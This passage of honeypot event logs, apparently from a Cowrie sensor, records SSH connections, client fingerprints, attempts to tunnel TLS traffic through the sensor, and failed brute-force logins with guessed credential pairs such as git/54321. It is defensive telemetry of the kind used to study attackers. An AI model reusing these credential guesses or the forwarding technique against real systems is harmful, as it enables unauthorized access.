\\xf7L\\x98Mw\\x92:\\xbc\\x14M>18(6H'\\x06\\x9a\\x1a\\x11\\xc8]!\\xb8+\\xaf\\x90dG\\xb80\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:21.510266Z","src_ip":"173.208.188.210","session":"3cf05b03d2d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:21.570793Z","session":"3cf05b03d2d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:21.605848Z","src_ip":"173.208.188.210","session":"3cf05b03d2d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf3\\xae\\xac\\xe1M\\x025\\xfe\\x911\\x82\\xce\\x83\\xdc\\xd8\\xf3\\xb5;\\xcd2\\x03sNM\\xba\"4\\xc4\\x90\\xa1\\x8e\\xe0 \\xc4\\xe2\\xac\\x1de\\xcf\\xab)U\\xa4\\x19\\x1c\\x0f\\xce}\\xca\\xa8}\\x97\\xfa\\x99\\xdef\\x18\\x0bG\\xf2G2Gs\\xa8\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfc!\\xa6\\xec\\x14\\xba\\x83\\x13\\x01k\\x13\\\\^6\\xce7\\x15ib\\x1f\\xfft\\x1e\\x85\\xa2\\x85\\xf3V\\x14\\xdb\\x0fq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf3\\xae\\xac\\xe1M\\x025\\xfe\\x911\\x82\\xce\\x83\\xdc\\xd8\\xf3\\xb5;\\xcd2\\x03sNM\\xba\"4\\xc4\\x90\\xa1\\x8e\\xe0 \\xc4\\xe2\\xac\\x1de\\xcf\\xab)U\\xa4\\x19\\x1c\\x0f\\xce}\\xca\\xa8}\\x97\\xfa\\x99\\xdef\\x18\\x0bG\\xf2G2Gs\\xa8\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfc!\\xa6\\xec\\x14\\xba\\x83\\x13\\x01k\\x13\\\\^6\\xce7\\x15ib\\x1f\\xfft\\x1e\\x85\\xa2\\x85\\xf3V\\x14\\xdb\\x0fq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:21.608885Z","src_ip":"173.208.188.210","session":"3cf05b03d2d4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:23.803884Z","src_ip":"91.92.40.36","session":"c69dee25faac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:23.807323Z","src_ip":"91.92.40.36","session":"c69dee25faac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.7","message":"Connection lost after 17.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:25.373968Z","src_ip":"173.208.188.210","session":"3cf05b03d2d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61642,"dst_ip":"159.203.135.109","dst_port":22,"session":"37e1a09e3b9a","protocol":"ssh","message":"New connection: 91.92.40.36:61642 (159.203.135.109:22) [session: 37e1a09e3b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:28.405784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:28.786016Z","src_ip":"91.92.40.36","session":"37e1a09e3b9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:29.640207Z","src_ip":"91.92.40.36","session":"37e1a09e3b9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mobile","password":"mobile@1234","message":"login attempt [mobile/mobile@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:32.338792Z","src_ip":"91.92.40.36","session":"c69dee25faac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61708,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ced92debfae","protocol":"ssh","message":"New connection: 91.92.40.36:61708 (159.203.135.109:22) [session: 7ced92debfae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:32.474676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:33.651797Z","src_ip":"91.92.40.36","session":"7ced92debfae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:33.655272Z","src_ip":"91.92.40.36","session":"7ced92debfae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.7","message":"Connection lost after 13.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:35.106674Z","src_ip":"91.92.40.36","session":"c69dee25faac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"54321","message":"login attempt [git/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:35.467173Z","src_ip":"91.92.40.36","session":"37e1a09e3b9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"alina","message":"login attempt [user/alina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:37.159523Z","src_ip":"91.92.40.36","session":"7ced92debfae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:38.046296Z","src_ip":"91.92.40.36","session":"37e1a09e3b9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:39.069327Z","src_ip":"91.92.40.36","session":"7ced92debfae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59968,"dst_ip":"159.203.135.109","dst_port":22,"session":"523b5b321bdd","protocol":"ssh","message":"New connection: 91.92.40.36:59968 (159.203.135.109:22) [session: 523b5b321bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:41.322828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:42.256560Z","src_ip":"91.92.40.36","session":"523b5b321bdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:42.262592Z","src_ip":"91.92.40.36","session":"523b5b321bdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31740,"dst_ip":"159.203.135.109","dst_port":22,"session":"468b8901e9aa","protocol":"ssh","message":"New connection: 91.92.40.36:31740 (159.203.135.109:22) [session: 468b8901e9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:46.454716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:47.635847Z","src_ip":"91.92.40.36","session":"468b8901e9aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:47.639429Z","src_ip":"91.92.40.36","session":"468b8901e9aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.57582092285156,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:48.885445Z","src_ip":"107.6.151.170","session":"ad3e1091ee80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":21088,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d40a45674ea","protocol":"ssh","message":"New connection: 38.93.206.2:21088 (159.203.135.109:22) [session: 2d40a45674ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:49.549987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:49.554560Z","src_ip":"38.93.206.2","session":"2d40a45674ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25